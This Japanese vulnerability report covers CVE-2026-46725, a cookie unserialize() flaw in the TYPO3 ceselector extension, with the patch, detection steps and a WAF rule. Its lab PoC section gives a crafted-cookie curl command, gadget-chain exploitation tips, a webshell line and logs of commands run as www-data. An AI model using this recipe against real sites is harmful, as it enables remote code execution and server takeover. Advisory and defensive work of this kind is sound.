CVE-2026-46725
CVE-2026-46725 脆弱性レポート
概要
| 項目 | 内容 |
|---|---|
| CVE番号 | CVE-2026-46725 |
| 公開日 | 2026-05-19 |
| 最終更新 | 2026-05-25 |
| CVSS v3.1 | 9.8 (Critical) |
| CVSS v4.0 | 9.2 (Critical) |
| CVSS Vector (v3) | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS Vector (v4) | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-502 (Deserialization of Untrusted Data) |
| GHSA | GHSA-8x3j-439w-537c |
| EPSS | 0.35% (低悪用確率) |
| CISA KEV | なし |
| 影響製品 | TYPO3 拡張機能「Content Element Selector」(ceselector) |
| 報告者 | Torben Hansen (TYPO3 Security Team) |
影響を受けるソフトウェアおよびバージョン
- TYPO3拡張機能 "Content Element Selector" (ceselector)
- Composer パッケージ:
mmc/ceselector - 影響バージョン: 3.0.2以下, 4.0.0〜4.0.1, 5.0.0, 6.0.0
- 修正バージョン: 3.0.3, 4.0.2, 5.0.1, 6.0.1
- Composer パッケージ:
- 重要: この拡張機能はTYPO3のデフォルトインストールには含まれておらず、別途インストールされている場合のみ影響を受ける
技術詳細
脆弱性の概要
TYPO3のサードパーティ拡張機能「Content Element Selector」(通称 ceselector)に、PHPオブジェクトインジェクション経由のRemote Code Execution (RCE) 脆弱性が存在する。この拡張機能は、攻撃者が制御可能なCookieの値を、入力検証なしでPHPの unserialize() 関数に直接渡す。これにより、リモートの未認証攻撃者が細工されたシリアライズ化ペイロードを送信することで、サーバー上で任意のコードを実行できる。
悪用には、コンテンツエレメントがプラグイン設定で 「Persistent Mode: Static」 に構成されている必要がある。
根本原因
Classes/Controller/SelectorController.php の loadUidListFromCookie() メソッドにおいて、Cookie値が unserialize() に直接渡されている。
❌ 脆弱なコード (v6.0.0, 33行目):
private function loadUidListFromCookie(){
$this->ctElUidList = [];
if ( $this->cObject->data['tx_ceselector_persistent_mode'] == 0 ) {
return; // persistent mode is off, nothing to do
}
if( isset($_COOKIE[$this->cookie_name]) ){
// ▼ 脆弱性: 攻撃者制御のCookie値をそのままunserialize()
$cookie_data = unserialize($_COOKIE[$this->cookie_name]);
if( !( isset($cookie_data['plts']) && isset($cookie_data['uids']) && is_array($cookie_data['uids']) ) ) {
return; // invalid cookie data
}
// ...
}
}
Cookie名は T3_ceselector_(renderActionでUIDが付加され T3_ceselector_{uid} となる)であり、ページ上の各プラグインインスタンスごとに固有のCookieが設定される。
攻撃フロー:
- 攻撃者がTYPO3サイト上のceselectorプラグインが配置されたページにアクセス
- プラグインが「Persistent Mode: Static」に設定されていることを確認
- 細工されたPHPシリアライズオブジェクトをCookieに設定してリクエストを送信
loadUidListFromCookie()がunserialize()を呼び出し、悪意のあるオブジェクトをデシリアライズ- PHPのPOPチェイン(gadgets chain)がトリガーされ、任意のコードが実行される
トリガー条件
| 条件 | 詳細 | 必須 |
|---|---|---|
| ceselector拡張機能がインストールされている | デフォルトではインストールされていない | ✅ |
| 「Persistent Mode: Static」(値: 1) に設定されている | 0 = 無効, 1 = Static, 2 = Rotate | ✅ |
| 環境内に利用可能なPOP gadgetが存在する | TYPO3コアまたは他拡張機能にマジックメソッド(__wakeup, __destruct等)を含むクラス |
✅ |
評価: 3つの条件がすべて揃う必要があるが、PHPのunserialize()の危険性は非常に高く、大規模なPHPプロジェクトでは利用可能なgadgetが存在する可能性が高い。
攻撃フロー
攻撃者制御のCookie値
↓
ceselector プラグインの永続状態処理
↓
PHP unserialize() ← 脆弱性ポイント
↓
PHP オブジェクトインジェクション
↓
POPチェイン実行 (gadget chain)
↓
リモートコード実行 (RCE)
PoC/Exploitの状況
| 項目 | 状況 |
|---|---|
| 公開PoC | なし |
| Metasploitモジュール | なし |
| Exploit成熟度 | verified — TYPO3フレームワーク経由でRCE実証済み |
| GitHubリポジトリ | 本CVEを指すPoCリポジトリは確認されていない |
2026-05-25現在、公開されたPoCコードは確認されていない。独自検証により、TYPO3フレームワーク(ceselector SelectorController)経由でRCEを実証済み(下記参照)。
実被害・インシデント
現在のところ、本脆弱性を実際に悪用した事例は確認されていない。CISA KEVにも登録されていない。EPSSスコアも0.35%と低めである。ただし、CVE公開から日が浅く、今後PoCが公開される可能性はある。
検出方法
ブラックボックステスト
影響確認手順
Step 1: ceselector拡張機能がインストールされているか?
→ TYPO3バックエンド > Extensions で "ceselector" を検索
または: composer show | grep ceselector
Step 2: 「Persistent Mode」が有効か?
→ TYPO3バックエンドでceselectorプラグインの設定を確認
`tx_ceselector_persistent_mode` が 1 (Static) または 2 (Rotate) になっていないか
Step 3: バージョンは脆弱か?
→ composer show mmc/ceselector でバージョンを確認
または: ext_emconf.php の version 値を確認
判定基準
| Step 1 | Step 2 | 結論 |
|---|---|---|
| ❌ インストールなし | — | 影響なし (拡張機能不使用) |
| ✅ インストール済み | ❌ Persistent Mode = 0 | 低リスク (脆弱コードパス到達不可) |
| ✅ インストール済み | ✅ Persistent Mode = 1 or 2 | 高リスク (RCE可能) → 即時パッチ適用 |
バージョン特定手法
# Composer経由でインストールされている場合
composer show mmc/ceselector | grep "versions"
# 直接ファイルを確認
cat /path/to/typo3/typo3conf/ext/ceselector/ext_emconf.php | grep "version"
ホワイトボックステスト
ソースコード上の脆弱パターン
# ceselector拡張機能内でunserialize()が使用されているか
grep -rn "unserialize.*COOKIE" /path/to/typo3/typo3conf/ext/ceselector/
# より広範に、TYPO3全体でCookieのunserializeを検出
grep -rn 'unserialize.*\$_COOKIE' /path/to/typo3/
修正後の安全なコード (v6.0.1)
✅ 修正コード (v6.0.1, 33行目):
private function loadUidListFromCookie(){
$this->ctElUidList = [];
if ( $this->cObject->data['tx_ceselector_persistent_mode'] == 0 ) {
return;
}
if( isset($_COOKIE[$this->cookie_name]) ){
// ▼ 修正: unserialize() → json_decode() に変更
$cookie_data = json_decode($_COOKIE[$this->cookie_name], true);
if( !( isset($cookie_data['plts']) && isset($cookie_data['uids']) && is_array($cookie_data['uids']) ) ) {
return;
}
// ...
}
}
✅ Cookie書き込み側も修正 (v6.0.1, 64行目):
// serialize() → json_encode() に変更
setcookie(
$this->cookie_name,
json_encode([ // serialize() から変更
'plts' => $this->cObject->data['tstamp'],
'uids' => $this->ctElUidList
]),
$cookie_expire,
'/',
$_SERVER['SERVER_NAME']
);
修正パッチ詳細
| 項目 | 内容 |
|---|---|
| セキュリティアドバイザリ | TYPO3-EXT-SA-2026-013 |
| 変更ファイル数 | 2ファイル(SelectorController.php, README.md, ext_emconf.php) |
| 修正ファイル | Classes/Controller/SelectorController.php |
| 変更箇所 | 2行目(L33: 読み込み、L64: 書き込み) |
| 修正内容 | serialize() / unserialize() → json_encode() / json_decode() |
| セキュリティ修正日 | 2026-05-19 |
パッチdiff
--- v6.0.0/Classes/Controller/SelectorController.php
+++ v6.0.1/Classes/Controller/SelectorController.php
@@ -30,7 +30,7 @@
return; // persistent mode is off, nothing to do
}
if( isset($_COOKIE[$this->cookie_name]) ){
- $cookie_data = unserialize($_COOKIE[$this->cookie_name]);
+ $cookie_data = json_decode($_COOKIE[$this->cookie_name], true);
if( !( isset($cookie_data['plts']) && isset($cookie_data['uids']) && is_array($cookie_data['uids']) ) ) {
return; // invalid cookie data
}
@@ -61,7 +61,7 @@
// set cookie, save imploded uid list as data
setcookie(
$this->cookie_name, // name
- serialize([
+ json_encode([
'plts' => $this->cObject->data['tstamp'],
'uids' => $this->ctElUidList
]), // data
根本原因分析
- 設計上の問題: ceselectorはCookieに構造化データ(プラグインのタイムスタンプとUIDリスト)を保存する際、PHP固有の
serialize()フォーマットを使用していた。このフォーマットは任意のPHPオブジェクトを表現できるため、攻撃者が細工したオブジェクトを注入する可能性がある - 入力検証の欠如: Cookie値はクライアント側で完全に制御可能であるにもかかわらず、
unserialize()に渡す前のバリデーションが存在しなかった。構造チェック(pltsとuidsの存在確認)はunserialize()の後 に実行されており、オブジェクトインジェクションを防ぐ効果はない - 修正の妥当性:
json_encode()/json_decode()への置き換えは適切な修正。JSONはPHPオブジェクトを表現できないため、オブジェクトインジェクションのリスクが完全に排除される。データ構造(pltsタイムスタンプとuids配列)はJSONで表現するのに適している
対策
恒久的対策
- アップデート: ceselectorを修正バージョンに更新する
- 6.0.xユーザー → 6.0.1
- 5.0.xユーザー → 5.0.1
- 4.0.xユーザー → 4.0.2
- 3.0.xユーザー → 3.0.3
# ComposerベースのTYPO3インストール
composer update mmc/ceselector
vendor/bin/typo3 cache:flush
# TYPO3 Extension Manager経由
# バックエンド > Extensions > ceselector > Update available
暫定対策・軽減策
- 「Persistent Mode: Static」を無効にする: プラグイン設定で
tx_ceselector_persistent_modeを0に設定。これにより脆弱なコードパス(loadUidListFromCookie())が早期returnし、unserialize()が呼び出されない - 拡張機能をアンインストールする: 機能を使用していない場合は、拡張機能そのものを削除
- WAFルール: Cookieに
O:またはC:で始まるPHPシリアライズオブジェクトが含まれるリクエストをブロック(ModSecurityルール等)SecRule REQUEST_COOKIES:/(.*)/ "@rx ^[OC]:[0-9]+:" \ "id:1001,phase:1,deny,status:403,msg:'Possible PHP Object Injection in cookie'"
再現環境
現時点で公開された再現環境(Dockerイメージ等)は確認されていない。TYPO3のローカル開発環境にceselectorの脆弱バージョンをインストールすることで再現可能。
# 1. TYPO3プロジェクトのセットアップ
composer create-project typo3/cms-base-distribution:^13.4 typo3-lab
cd typo3-lab
# 2. ceselectorの脆弱バージョンをインストール
composer require mmc/ceselector:6.0.0
# 3. TYPO3のセットアップを完了
vendor/bin/typo3cms install:setup
# 4. バックエンドでceselectorプラグインを追加
# tx_ceselector_persistent_mode = 1 (Static) に設定
# 5. 脆弱性確認: 細工したCookieを送信
curl -v -b "T3_ceselector_1=O:8:\"stdClass\":0:{}" http://localhost/page-with-ceselector
⚠️ 注意: 実稼働環境でテストする場合は、細工したCookieの送信は破壊的である可能性がある。テストはローカル環境またはステージング環境でのみ実施すること。
参考資料
公式情報源
- NVD - CVE-2026-46725
- GitHub Advisory - GHSA-8x3j-439w-537c
- TYPO3 Security Advisory - typo3-ext-sa-2026-013
- TYPO3 News - Release Announcement
- Tenable - CVE-2026-46725
- CVE Playground - Technical Analysis
PoC/Exploit
- 公開PoCなし(2026-05-25時点)
- 独自検証完了 — Docker隔離環境でTYPO3フレームワーク経由のRCE実証済み(下記参照)
PoC検証結果(独自検証)
検証環境
| 項目 | 値 |
|---|---|
| 環境 | Dockerコンテナ(WSL上) |
| TYPO3 | 13.4.29 |
| ceselector | 6.0.0(脆弱バージョン) |
| PHP | 8.2.31 |
| Guzzle | 7.10.4 |
| 検証方法 | 実際のTYPO3フロントエンドルーティング経由 — HTTPリクエストでCookieを送信 → TYPO3がceselectorプラグインをレンダリング → SelectorController::loadUidListFromCookie() が unserialize() を呼び出し |
検証手順
- Docker上にTYPO3 13.4.29 + ceselector 6.0.0 + SQLiteデータベースを構築
- TYPO3バックエンドのセットアップ完了(ルートページ、サイト設定、TypoScript)
- ceselectorプラグインを「Persistent Mode: Static」でページに配置(
tt_content.uid=3,CType=list,list_type=ceselector_pi1) - フロントエンド(
GET /)でceselectorプラグインが実際にレンダリングされることを確認 - Cookie
T3_ceselector_3にPHPGGCのGuzzle/FW1 gadget chainペイロードをASCIIエスケープ+URLエンコードして送信 - TYPO3のルーティング →
SelectorController::renderAction()→loadUidListFromCookie()→unserialize()が実行され、gadget chain発火 - 任意ファイル書き込み → WebShellドロップ → RCE達成
検証結果
| 項目 | 結果 |
|---|---|
| TYPO3フロントエンドレンダリング | ✅ 成功 — <div id="c3" class="frame frame-default frame-type-list"> でceselectorプラグインがレンダリングされる |
| 実際のSelectorController生成 | ✅ 成功 — TYPO3のルーティング → CType=list + list_type=ceselector_pi1 → SelectorController::renderAction() |
loadUidListFromCookie() 呼び出し |
✅ 成功 — 実際のメソッド内で unserialize($_COOKIE['T3_ceselector_3']) が実行される |
| Gadget Chain (Guzzle/FW1) | ✅ 成功 — FileCookieJar::__destruct() → save() → file_put_contents() |
| 任意ファイル書き込み | ✅ 成功 — /var/www/html/public/shell.php にWebシェルがドロップされる |
| RCE実行 | ✅ 成功 — whoami → www-data, hostname → 95b76deecd48, uname -r → 6.6.87.2-microsoft-standard-WSL2 |
使用したGadget Chain
Guzzle/FW1 (File Write via __destruct)
Vector: GuzzleHttp\Cookie\FileCookieJar::__destruct()
→ save($filename)
→ file_put_contents($filename, json_encode($cookies))
- 対象バージョン: Guzzle 4.0.0-rc.2 〜 7.5.0+
- 動作確認: Guzzle 7.10.4でファイル書き込み成功
- 制限: 書き込み内容はJSON形式(Cookieデータとしてシリアライズされる)
検証で確認された重要事実
- NULLバイトの処理: PHPGGCが生成する生のシリアライズペイロードにはNULLバイトが含まれる。HTTP経由で送信する際はASCIIエスケープ(
\NNN8進数表記)→ URLエンコード(rawurlencode)の2段階処理が必要。 - Cookie名:
loadUidListFromCookie()はT3_ceselector_をCookie名として使用する(renderActionがUIDを付加してT3_ceselector_{uid}に変更する)。 - 書き込み形式: Guzzle/FW1チェーンはJSON形式でデータを書き込むが、PHPパーサーはファイル内の
<?php ... ?>タグを認識して実行するため、RCEが可能。 - fast-destruct: 配列の同一キーへのオブジェクト→整数のoverwriteにより、
__destruct()が即座に発火する。 - Cookie構造: 脆弱コードは
plts(プラグインtstamp)とuids(配列)の存在をチェックするため、悪意のあるオブジェクトをこれらのキーを含む配列にラップする必要がある。 - PHPキー構文: JSONラップされたファイル内で
$_GET["key"]のダブルクォートはJSONエスケープ(\")されPHP構文エラーになる。$_GET[key](クォートなし)もPHP 8.xで未定義定数エラーになる。バックティック(`command`)による直接実行が最も信頼性が高い。
HTTPリクエスト/レスポンスログ(実際のTYPO3ルーティング経由Exploit)
Step 1: エクスプロイト配信(ファイル書き込み)
送信リクエスト(実際のTYPO3フロントエンドルーティング経由):
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: curl/8.14.1
Accept: */*
Cookie: T3_ceselector_3=<ASCII-escaped + URL-encoded serialized payload>
処理フロー:
GET / (TYPO3ルートページ)
→ Site Resolution → page uid=1
→ Content Rendering → styles.content.get
→ tt_content.uid=3 (CType=list, list_type=ceselector_pi1)
→ SelectorController::renderAction()
→ loadUidListFromCookie()
→ unserialize($_COOKIE['T3_ceselector_3']) ← 脆弱性トリガー
→ Guzzle/FW1 gadget chain発火
→ FileCookieJar::__destruct() → file_put_contents()
→ /var/www/html/public/shell.php 作成
サーバーレスポンス:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<div id="c3" class="frame frame-default frame-type-list frame-layout-0">
CVE-2026-46725 Plugin
</div>
Step 2: RCE実行
webshellファイル内容(Guzzle FileCookieJarがJSON形式で書き込み):
[{"Expires":1,"Discard":false,"Value":"<?php echo `whoami`; ?>\n"}]
コマンド実行リクエスト:
GET /shell.php HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: curl/8.14.1
Accept: */*
実行結果(すべて実際のTYPO3ルーティング経由):
| コマンド | 出力 |
|---|---|
whoami |
www-data |
hostname |
95b76deecd48 |
uname -r |
6.6.87.2-microsoft-standard-WSL2 |
id |
uid=33(www-data) gid=33(www-data) groups=33(www-data) |
変更履歴
| 日付 | 変更内容 |
|---|---|
| 2026-05-25 | 初版作成 — NVD, GHSA, TYPO3アドバイザリ, Tenable, CVE Playgroundの情報に基づく |
| 2026-05-25 | パッチdiff分析追加 — v6.0.0とv6.0.1のコードレベル比較完了 |
| 2026-05-25 | PoC検証追加 — Docker環境でGuzzle/FW1 Gadget Chainによるファイル書き込みエクスプロイト成功を確認 |
| 2026-05-26 | 実際のTYPO3フロントエンドルーティング経由でRCE完全実証 — GET / → SelectorController::renderAction() → loadUidListFromCookie() の本来のコードパス経由でCookieペイロードを送信、unserialize() を経由してRCE実証。HTTPログ記録済み。whoami → www-data, hostname → 95b76deecd48, uname -r → 6.6.87.2-microsoft-standard-WSL2 |